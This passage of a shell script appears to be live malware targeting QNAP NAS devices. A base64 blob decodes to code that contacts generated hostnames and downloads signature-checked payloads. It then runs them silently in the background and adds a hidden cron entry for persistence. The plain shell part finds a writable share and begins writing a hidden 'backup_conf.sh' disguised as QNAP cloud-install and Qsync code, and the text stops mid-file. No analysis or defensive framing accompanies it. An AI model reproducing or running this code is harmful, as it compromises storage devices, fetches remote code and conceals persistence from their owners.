ZGlyICIke2JkaXJ9Ly5xcGtnIgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnLy5jb25maWciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCmNkICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mIC50bXAuKgoKZWNobyAiJHZlcmlmeWtleSIgPiAiLnJzYWtleSIKaT0wIG49MCBjPTAgZXJyb3Jjb3VudD0wCm91dGZpbGU9JChta3RlbXAgIi4vLnRtcC5YWFhYWFgiKSB8fCBvdXRmaWxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0nLi8udG1wLm91dCcKCmZvciBkb21haW5leHRzIGluICIkRE9NQUlOX0VYVF9BIiAiJERPTUFJTl9FWFRfQiI7IGRvCiAgICAgICAgZm9yIGV4dCBpbiAkZG9tYWluZXh0czsgZG8KICAgICAgICAgICAgICAgIGhvc3RuYW1lPSQoZWNobyAiJCgoICQoZGF0ZSArJXMpIC8gMTI5NjAwMCApKUliakdPRWdudUQke2V4dH0iIHwgb3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgfCBvcGVuc3NsIGJhc2U2NCB8IHNlZCAneS9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWi0rXC8vYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMvO3MvPS8vZycpCiAgICAgICAgICAgICAgICBob3N0bmFtZT0ke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19CiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldfSIKICAgICAgICAgICAgICAgIGhvc3RuYW1lcz0iJGhvc3RuYW1lcyAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV19ICRob3N0bmFtZSIKICAgICAgICAgICAgICAgIGZvciBob3N0IGluICRob3N0bmFtZXM7IGRvCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLWYgIiRvdXRmaWxlIiAmJiBybSAtZiAiJG91dGZpbGUiCiAgICAgICAgICAgICAgICAgICAgICAgIHJlY2VudHVwZGF0ZT0nJwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIkb3V0ZmlsZSIgImh0dHBzOi8vJHtob3N0fS4ke2V4dH0vcW5hcF9maXJtd2FyZS54bWw/dD0kKGRhdGUgKyVzKSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAtcyAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIGZzaXplPSQoKCAkKHdjIC1jIDwgIiRvdXRmaWxlIikgKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZzaXplIiAtZ3QgNDA5NiAmJiBybSAtZiAiJG91dGZpbGUiICYmIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHJzYW1zZz0kKG9wZW5zc2wgYmFzZTY0IC1pbiAiJG91dGZpbGUiIC1kIHwgb3BlbnNzbCByc2F1dGwgLXB1YmluIC1pbmtleSAiLnJzYWtleSIgLXZlcmlmeSkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYW1zZyIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgcGF0aD0iJHtyc2Ftc2clfCp9IjsgcnNhZG9tYWluPSIke3BhdGglfCp9IjsgcGF0aD0iJHtwYXRoIyp8fSIKICAgICAgICAgICAgICAgICAgICAgICAgaGFzaD0iJHtyc2Ftc2cjIyp8fSI7IHRzPSIke2hhc2gjKl99IjsgaGFzaD0iJHtoYXNoJV8qfSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYWRvbWFpbiIgPSAiJHtob3N0fS4ke2V4dH0iIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVub3c9JChkYXRlICslcykKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHRzIiAtZ3QgMCAmJiB7IHRlc3QgIiR0cyIgLWd0ICIkdGltZW5vdyIgfHwgdGVzdCAkKCggJHRpbWVub3cgLSAkdHMgKSkgLWx0IDE3MjgwMDsgfSAmJiByZWNlbnR1cGRhdGU9MQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9LyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVoYXNoPSQob3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgIiRvdXRmaWxlIiB8IG9wZW5zc2wgYmFzZTY0KSB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkZmlsZWhhc2giID0gIiRoYXNoIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIke291dGZpbGV9X3MiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3MvJHtwYXRofSIKICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5ZmlsZSAiJG91dGZpbGUiICIke291dGZpbGV9X3MiICYmIGRlY3J5cHRmaWxlICIkb3V0ZmlsZSIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgbXYgIiR7b3V0ZmlsZX1fcyIgIiR7dHN9X3YiCiAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kIDc1NSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgICggKCBleGVjID4vZGV2L251bGwgMj4vZGV2L251bGwgPC9kZXYvbnVsbDsgIiRvdXRmaWxlIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAmICkgJiApCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyZWNlbnR1cGRhdGUiIC1lcSAxICYmIGV4aXQgMAogICAgICAgICAgICAgICAgZG9uZQogICAgICAgIGRvbmUKZG9uZQoKCmlmIFsgIiRmcm9tcmNTIiA9ICdUUlVFJyBdOyB0aGVuCiMgaWYgUXN5bmMgaXMgZGlzYWJsZSBiZWZvcmUgNC4zLjAsIHdlIHdpbGwgdG91Y2ggL21udC9IREFfUk9PVC91ZHBhdGVfcGtnLy5Rc3luY1NlcnZlcl9kaXNhYmxlZApzZXRfZGVmYXVsdF9kaXNhYmxlX3N0YXR1cygpCnsKCVFQS0dfRU5BQkxFPWAkQ01EX0dFVENGRyAke1FTWU5DX05BTUV9IEVuYWJsZSAtZCAiTlVMTCIgLWYgJHtRUEtHX0NPTkZ9YAoJT0xEX0VOQUJMRT1gJENNRF9HRVRDRkcgUXN5bmMgRW5hYmxlIC11IC1kIE5VTExgCglpZiBbIC1mICIke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X3JlbW92ZWQiIF07IHRoZW4KCQlyZXR1cm4KCWZpCgoJaWYgWyAiJFFQS0dfRU5BQkxFIiA9ICJOVUxMIiBdOyB0aGVuCgkJaWYgWyAiJE9MRF9FTkFCTEUiID0gIkZBTFNFIiBdOyB0aGVuCgkJCWRiZyAidG91Y2ggJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQkJL2Jpbi90b3VjaCAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQlmaQoJZmkKfQoKaWYgWyAieCRIQlNfRU5BQkxFIiA9IHhudWxsIF0gfHwgWyAieCRIQlNfRU5BQkxFIiA9IHhGQUxTRSBdOyB0aGVuCglleHBvcnQgUU5BUF9RUEtHPXJ0cnIKZWxzZQoJZXhwb3J0IFFOQVBfUVBLRz1IeWJyaWRCYWNrdXAKCS91c3IvbG9jYWwvc2Jpbi9xYm9vc3RfdXRpbCAtUyAtbiBydHJyIC1FIDAgMT4vZGV2L251bGwgMj4mMQpmaQpzdGFydCgpCnsKCWlmIFsgLWYgL3Vzci9iaW4vcXN5bmNtYW4gXTsgdGhlbgoJCVsgISAtZiAvZXRjL2NvbmZpZy9oZGNvcHl1c2IuY29uZiBdIHx8IC9iaW4vcm0gLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYKCQkvYmluL3NlZCAtaSAnL2hkdXNiX2NvcHkvZCcgL2V0Yy9jb25maWcvY3JvbnRhYgoJCS91c3IvYmluL2Nyb250YWIgL2V0Yy9jb25maWcvY3JvbnRhYgoJCWVjaG8gLW4gIlN0YXJ0aW5nIFFTeW5jIG1hbml0b3I6ICIKCQlbIC1kIC9ldGMvY29uZmlnL3FzeW5jIF0gfHwgL3Vzci9iaW4vaW5zdGFsbCAtZCAvZXRjL2NvbmZpZy9xc3luYwoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luYy5jb25mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIF0gfHwgL2Jpbi9jcCAtcCAvZXRjL2RlZmF1bHRfY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY2htb2QgNjQwIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jZC5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mCgkJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdGFydCAiL3Vzci9iaW4vcXN5bmNtYW4gMT4vZGV2L251bGwgMj4mMSIKCQllY2hvICJPSyIKCWZpCn0KCnN0b3AoKQp7CgllY2hvICJTaHV0dGluZyBkb3duIFFTeW5jIG1vbml0b3I6IE9LIgogICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAga2lsbCAkcGlkbnVtIDI+L2Rldi9udWxsCiAgICAgICAgaT0wCiAgICAgICAgd2hpbGUgWyAke2l9IC1sdCA1IF0KICAgICAgICBkbwogICAgICAgICAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICAgICAgICAgIGlmIFsgLXogIiRwaWRudW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBzbGVlcCAxCiAgICAgICAgICAgICAgICBpPWAvdXNyL2Jpbi9leHByICR7aX0gKyAxYAogICAgICAgIGRvbmUKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIFsgLXogIiRwaWRudW0iIF0gfHwga2lsbCAtOSAkcGlkbnVtIDI+L2Rldi9udWxsCgkvc2Jpbi9kYWVtb25fbWdyIHFzeW5jbWFuIHN0b3AgIi91c3IvYmluL3FzeW5jbWFuIgoJL3Vzci9iaW4va2lsbGFsbCAtcSBxc3luY21hbgp9CgpzdGFydF9xc3luY2QoKQp7CgkjX3FzeW5jZF9lbj1gL3NiaW4vZ2V0Y2ZnICIiIEVuYWJsZWQgLWQgMCAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJI1sgIngkX3FzeW5jZF9lbiIgPSB4MSBdIHx8IHJldHVybiAtMQoJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCVsgLXogJF9xc3luY2RfcnVuX3BpZCBdIHx8IHJldHVybiAtMTE0CglfcmVjeWNsZV9lbj1gL3NiaW4vZ2V0Y2ZnICdOZXR3b3JrIFJlY3ljbGUgQmluJyBFbmFibGUgLWQgRkFMU0VgCglfd2l0aF9zeXNsb2c9JDEKCWlmIFsgIngkX3JlY3ljbGVfZW4iID0geFRSVUUgIF07IHRoZW4KCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCUxEX1BSRUxPQUQ9L3Vzci9sb2NhbC9saWIvbGlidHJhc2guc28gL3Vzci9iaW4vcXN5bmNkIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQlmaQoJZWxzZQoJCWlmIFsgIngkX3dpdGhfc3lzbG9nIiA9IHgxICBdOyB0aGVuCgkJCS91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCS91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWZpCglfaXJldD0kPwoJaWYgWyAieCRfaXJldCIgPSB4MCBdOyB0aGVuCgkJaT0wCgkJd2hpbGUgWyAke2l9IC1sdCAxMDAwMCBdCgkJZG8KCQkJZWNobyAiJHtpfSBtaWxsaXNlY29uZC4uLiIKCQkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJaWYgWyAieCRfcXN5bmNkX3BpZCIgIT0gIngtMSIgXSAmJiBbICEgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQlicmVhawoJCQlmaQoJCQl1c2xlZXAgNTAwMDAKCQkJaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgNTBgCgkJZG9uZQoJZmkKCXJldHVybiAtJF9pcmV0Cn0KCnN0b3BfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDAgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgIiIgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCglbICRfcXN5bmNkX3BpZCAtbHQgMCBdICYmIHJldHVybiAtMwoJIyBTZW5kIFNJR1VTUjEgdG8gaW5mb3JtIHRoZSBkYWVtb24gdG8gb3V0cHV0ICJbUlRSUiBTZXJ2ZXJdIFN0b3BwZWQiIGV2ZW50IGxvZwoJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJdXNsZWVwIDIwMDAwMAoJIyBTZW5kIFNJR0lOVCB0byBzdG9wIHRoZSBRU3luY2QgcHJvY2VzcwoJL2Jpbi9raWxsIC1TSUdJTlQgJF9xc3luY2RfcGlkCglfa2lsbF9yZXQ9JD8KCWlmIFsgIngkX2tpbGxfcmV0IiAhPSB4MCBdOyB0aGVuCgkJcmV0dXJuIC0zCglmaQoJZWNobyAibmVlZCB3YWl0ICQxIG1pbGxpc2Vjb25kIgoJaT0wCgl3aGlsZSB0cnVlCglkbwoJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQlfcXN5bmNkX3J1bl9waWQ9YC9iaW4vcGlkb2YgcXN5bmNkYAoJCWlmIFsgIngkX3FzeW5jZF9waWQiID0gIngtMSIgXSAmJiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQlicmVhawoJCWZpCgkJaWYgWyAke2l9IC1nZSAkMSBdOyB0aGVuCgkJCSMgaWYgdGltZS1vdXQsIHdlIHNlbmQgdHdvIGFkZGl0aW9uYWwgU0lHSU5UIHRvIGZvcmNlIHRoZSBkYWVtb24gdG8gc3RvcC4KCQkJaWYgWyAkX3FzeW5jZF9waWQgLWdlIDAgXTsgdGhlbgoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQkJdXNsZWVwIDIwMDAwMAoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQlmaQoJCQlqPTAKCQkJd2hpbGUgWyAke2p9IC1sdCA1MDAgXQoJCQlkbwoJCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJCWlmIFsgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQkJcmV0dXJuIDAKCQkJCWZpCgkJCQl1c2xlZXAgMjAwMDAKCQkJCWo9YC91c3IvYmluL2V4cHIgJHtqfSArIDIwYAoJCQlkb25lCgkJCXJldHVybiAtNjIKCQlmaQoJCXVzbGVlcCA1MDAwMAoJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJZG9uZQoJcmV0dXJuIDAKfQoKCmluc3RhbGwoKQp7Cglsb2NrX2ZpbGU9Ii92YXIvbG9jay9xYm94X2luc3RhbGxfYmluLmxjayIKCglpZiBbICEgLWYgIiR7SU5TVEFMTF9CVUlMRF9JTn0iIF07IHRoZW4KCQlkYmcgImJ1aWxkLWluICR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGVkIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAtZiAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluIF07IHRoZW4KCQlkYmcgIiR7UVNZTkNfTkFNRX0uYmlufSBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAhIC14ICIke1FQS0dfQ0xJfSIgXTsgdGhlbgoJCWRiZyAiJHtRUEtHX0NMSX0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIG1ha2Ugc3VyZSB2b2x1bWUgaXMgZXhpc3QKCWlmIFsgISAtZCAvc2hhcmUvYC9zYmluL2dldGNmZyBTSEFSRV9ERUYgZGVmUHVibGljIC1kIFB1YmxpYyAtZiAvZXRjL2NvbmZpZy9kZWZfc2hhcmUuaW5mb2AgXTsgdGhlbgoJCWRiZyAiL3NoYXJlL1B1YmxpYyBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJIyMgaXMgcmVtb3ZlZCAKCWlmIFsgLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIF07IHRoZW4KCQkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgcmVtb3ZlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbIC1mICIkbG9ja19maWxlIiBdOyB0aGVuIAoJCWlmIFsgJCgoICQoZGF0ZSArJXMpIC0gJChkYXRlICslcyAtciAkbG9ja19maWxlKSApKSAtbGUgMTgwIF07IHRoZW4KCQkJZWNobyAiJHtRU1lOQ19OQU1FfSBpcyBpbnN0YWxsaW5nIgoJCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJcmV0dXJuIDEKCQlmaQoJZmkKCgkvYmluL3RvdWNoICIkbG9ja19maWxlIgkKCS9iaW4vcm0gLWYgJHtJTlNUQUxMX0JVSUxEX0lOfQoJZGJnICJpbnN0YWxsIGJ1aWxkLWluICR7UVNZTkNfTkFNRX0gc3RhcnQiCgoJc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMKCgkjIyBpbnN0YWxsIGJ1aWxkIGluIFFzeW5jCgkke1FQS0dfQ0xJfSAtSyAtbSAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCXNsZWVwIDIwCgoJd2FpdF9pbnN0YWxsPTYwCgkjIyBhdm9pZCBpbml0aWFsIHRha2UgbG9uZyB0aW1lIG9yIGZhaWwKICAgICAgICB3aGlsZSBbICIkd2FpdF9pbnN0YWxsIiAtZ3QgMCBdOyBkbwoJCXN0Y29kZT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfS5iaW4gc3Rjb2RlIC1mIC9ldGMvY29uZmlnL3Fwa2dfam9iLmNvbmZgCiAgICAgICAgICAgICAgICBpZiBbICIkc3Rjb2RlIiA9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgbGV0ICJ3YWl0X2luc3RhbGwtLSIKICAgICAgICBkb25lCgoJJHtRUEtHX0NMSX0gLUMgJHtRU1lOQ19OQU1FfS5iaW4gPiAvZGV2L251bGwgMj4mMQoJL2Jpbi9ybSAtZiAke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X2Rpc2FibGVkCgkvYmluL3JtIC1mICIkbG9ja19maWxlIgkKCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN1Y2Nlc3MiCn0KCmlmIFsgIiQxIiA9PSAic3RvcCIgXTsgdGhlbgoJZXhpdCAwCmZpCmZpClhFT0YKY2htb2QgNzU1ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giCnRvdWNoIC1jciAvYmluL2J1c3lib3ggIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIKKCAoIGV4ZWMgPi9kZXYvbnVsbCAyPiYxIDwvZGV2L251bGw7ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmICkgJiApCmZpCgp0ZXN0IC14ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIHx8IGNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIgoKY3JvbnRhYmFyZ3M9JChwcyB8IGdyZXAgJ2NyW29dbmQgJyB8IHNlZCAtbiAncy8uKmNyb25kW14wLTlBLVphLXotXSpcKC5cK1wpL1wxL3AnKQp0cnljb3VudD0xMDsgdHJ5Y291bnQ9JCgoICR0cnljb3VudCAtIDEwICkpCnNldCB4ICRjcm9udGFiYXJnczsgc2hpZnQKd2hpbGUgWyAkIyAtZ3QgMCBdICYmIFsgJHRyeWNvdW50IC1sdCAxMCBdOyBkbwp0cnljb3VudD0kKCggJHRyeWNvdW50ICsgMSApKQpnZXRvcHRzICc6YzonIE9QVCAyPi9kZXYvbnVsbAp0ZXN0ICIkT1BUIiA9ICdjJyAmJiBjcm9udGFiZmlsZT0iJHtPUFRBUkd9L2FkbWluIiAmJiBicmVhawp0ZXN0ICIkT1BUSU5EIiAtZ3QgMCAmJiBzaGlmdCAiJE9QVElORCIgJiYgT1BUSU5EPTEgfHwgYnJlYWsKZG9uZQp0ZXN0ICIkY3JvbnRhYmZpbGUiICYmIHRlc3QgLWYgIiR7Y3JvbnRhYmZpbGV9IiB8fCBjcm9udGFiZmlsZT0nL3RtcC9jcm9uL2Nyb250YWJzL2FkbWluJwoKZm9yIGNyb250YWIgaW4gIiRjcm9udGFiZmlsZSIgIiR7Y29uZmRpcn0vY3JvbnRhYiI7IGRvCmlmICRmZ3JlcCAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiAiJGNyb250YWIiOyB0aGVuCjoKZWxzZQpjcm9ubWlucz0kKHByaW50ZiAnJWknICIkKCggJFJBTkRPTSAlIDYwICkpIikKY3JvbmhvdXI9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSAyNCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaSwnICIkKCggKCAkY3JvbmhvdXIgKyA4ICkgJSAyNCApKSIgIiQoKCAoICRjcm9uaG91ciArIDE2ICkgJSAyNCApKSIpIiRjcm9uaG91ciIKZWNobyAiJGNyb25taW5zICRjcm9uaG91ciInICogKiAqICciJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoID4vZGV2L251bGwgMj4vZGV2L251bGwiID4+ICIkY3JvbnRhYiIKY3JvbnRhYiAiJGNyb250YWIiCnNsZWVwIDIKZmkKZG9uZQopICYgKSAmCg== +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall 